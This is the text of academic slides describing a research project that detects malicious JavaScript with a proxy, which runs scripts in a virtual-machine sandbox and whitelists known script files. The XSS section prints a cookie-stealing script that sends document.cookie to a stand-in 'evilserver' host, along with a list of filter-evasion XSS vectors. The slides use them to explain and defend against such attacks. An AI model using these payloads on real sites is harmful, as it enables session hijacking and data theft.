Web Security
Download
Report
Transcript Web Security
Detection of Attacks
with Proxy-based Execution
Alex Kiaie, Benjamin Prosnitz, Yi Tang,
Yinzhi Cao
Outline
•
•
•
•
Problem to solve
Existing work and background
Our solution
Task completed and remaining plan.
Web security problem
• In the last few years, the popularity of webbased applications has grown tremendously.
One key technology used in interactive web
applications is JavaScript.
• The automatic execution of JavaScript code
provided by the remote server may represent a
possible vector for attack on the end-user’s
computing environment.
3
Outline
• Problem to solve
• Background and Existing work
– Background
– Existing work
• Our solution
• Task completed and remaining plan.
Classification of Attacks
• Intra-Browser
– Changes browser state or steals information
• Out of Browser
– Infects system
Intra-Browser Attacks
• XSS (Cross-Site Scripting) steals information
across protection domains
• Browser extensions which secretly send of
parts of viewed pages
• We don’t aim to prevent these with our
solution
Attacks on the System
through the Browser
• Exploits:
– Javascript engine bugs
– Plug-in vulnerabilities (Java, Flash, etc)
– Installation of malicious, but signed, plug-ins
• Goals:
– Execution of arbitrary code
– “Drive-by-download” installation of malware
Trend of web security attack 1
Cross-site scripting(XSS) vulnerability
occupies the top most position
8
Top 10 web application vulnerabilities for 2006
from Source: OWASP(Open Web Application Security Project ) Report
Trend of web security attack 2
Increasing trend in web application security vulnerabilities over a period of six years
from CVE( Common Weakness Enumeration)
9
XSS attacks
• In Cross-site Scripting (XSS) attack, an attacker
forces a client, typically a web browser, to
execute attacker-supplied executable code,
typically JavaScript code, which runs in the
context of a trusted web site
10/50
XSS: Two kinds
• Two general methods for injecting malicious code
into web page that is displayed to the user
– stored XSS： the attacker persistently stores the
malicious code in a resource managed by the web
application. such as a database
<img src="image.jpg">
<script> document.images[0].src = "http://evilserver/image.jpg?stolencookie=" >+
document.cookie; </script>
– reflected XSS: the attack script is not persistently
stored, but, instead, it is immediately “reflected” back
to the user
http://www.vulnerable.site/welcome.cgi?name=<script>alert(document.cookie)</script>
11
Stored XSS:More difficult to be detected and more
harmful for Internet.
Embeds a script contained
in a separate file
1. <html><head>
2. <script src="a.js"></script>
background elements
will be obtained by
an event handler
3. <script> ... </script>
executing a script.
4. <script for=foo event=onmouseover> ... </script>
5. <style>.bar{background-image:url("javascript:alert(’JavaScript’)");}</style>
6. </head>
script in XML
7. <body onload="alert(’JavaScript’)">
script can be broken across
an element that uses an inline
8. <img id=foo src="image.jpg">
multiple CDATA sections
CSS style to invoke a script
9. <a class=bar></a>
10. <div style="background-image: url(javascript:alert(’JavaScript’))">...</div>
11. <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert(’XSS’);">]]>
URL is the base64 encoding of a javascript:URL
12. <meta http-equiv="refresh"
content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
URL has been character encoded
13. <img
src=javascript:ale
rt('XSS')>
HTML entity encoding to hide
14. <img src=javascript:alert("3")>
quote characters in a script
15.12</body></html>
Why difficult to detect
• 1. Signatures for application vulnerability are based on the
applications which are commonly used. One signature can
cover a vulnerability a lot of servers may have. However, each
website has its own code, and corresponding vulnerability.
• 2. Script vulnerabilities are not easy to describe by signature,
because it has many subtleties and variants.
• 3. Sometimes, it is not a vulnerability of the website. The attack
may have compromise this website and change the web page
by append its own malicious code without web master’s
attention.
13/50
Current method
• A comprehensive research on web security,
particularly in cross site scripting started around
2001. Categories of solutions are based on the
– Location :client side ,server side, third part check point
– Analysis type: static, dynamic, taint, alias, data flow,
source code, control flow graph.
– Technique: crawling, reverse engineering, black box
testing, proxy server.
– Intrusion detection type: anomaly, misuse, automatic,
multimodal.
14
VMMs for Security
• Run software within a sandbox
• Filter system calls made and interactions with
the system
• Full access to the OS’s state
Browser
VM w/ Guest OS
VMM
Detecting Attacks with VMMs
Memory Inspection (Garfinkel ‘03)
– Uses Mission Critical’s crash utility to acquire
state (crash normally reads /dev/kmem)
– Detection Strategies:
•
•
•
•
Verify binaries have not been modified
Scan filesystem for signatures
Identify sniffers by checking for raw socket use
Query the system within the virtual machine and
verify the integrity of the response (does ps lie?)
– Feed into policy engine
Detecting Attacks with VMMs
Injecting Sensors into Kernel (Asrigo ‘06)
– Dynamically rewrites kernel code to include
sensors
– Monitors:
•
•
•
•
Arguments passed to programs
Redirecting of streams (hijacking of resources)
Modifications of filesystem
Sockets listening to unauthorized ports
Outline
• Problem to solve
• Existing work and background
• Our solution
– Motivation
– Our System
• Task completed and remaining plan.
Motivation
Web
Files
Web
Server
Security
proxy on
clinet side
Security Proxy is a security device deployed on Internet to detect the
attack. The advance of security proxy is:
•It can access all the traffic coming in and out the server.
•If one web is detected as containing malware code, proxy is easy to
block this page or site.
•Proxy can project both sides by filtering the input and output of
19/50
server.
What we want to do
• 1. Implement a detection system for malicious
script code on proxy.
• 2. Design a script filter to filter out as much as
possible benign traffic.
20/50
Spyproxy
Safe
Test
A proxy that sits between the user and the web and:
- Loads web pages before the client does to detect attacks
Our System
1. We modify the javascript sent to the user to provide the proxy
with events to test
2. We filter script files rather than entire web pages
Proxy
VMM
Operating System
User’s Browser
Browser
Modified Page
with Hooks
Page
Page
Events
to Test
Page
w/ Hooks
Comparison with SpyProxy
• SpyProxy performs similar functionality
– Web proxy that runs pages in virtual machine
– Build a whitelist/blacklist for pages
• Our work improves on this by:
– Using feedback from user to trigger exploits
– Build a whitelist/blacklist for scripts
Script code Filter
Observation for the script code:
1. unique script code segment is far less than the script code
segments. Website will reuse script code.
2. script code will not change even the webpage is dynamically
changed. Such as the first page of cnn.
3. script code of big size has fewer modification probability
What filter for:
1. when packets first come, construct a whitelist for its
script code segment.
2. Next time this script code appears, we can decide
whether it will be scanned by virtual machine.
24/50
Outline
•
•
•
•
Problem to solve
Existing work and background
Your solution, including the VMM system
Task completed and remaining plan.
Tasks completed
1. Investigation of Related Topics
a) Web-plugin vulnerabilities
b) Webpage modification attacks
2. Design of defense systems
a) Our web proxy (in previous slide)
b) Attack detection and rollbacking with
transactional memory
c) Get script codes from crawled web pages
Time plan
• Week 7 and 8: Acquire SpyProxy and deploy it
• Week 9: Analyze the script code for the filter
to build a scalable proxy.
• Week 10: Preparation for the final report and
presentation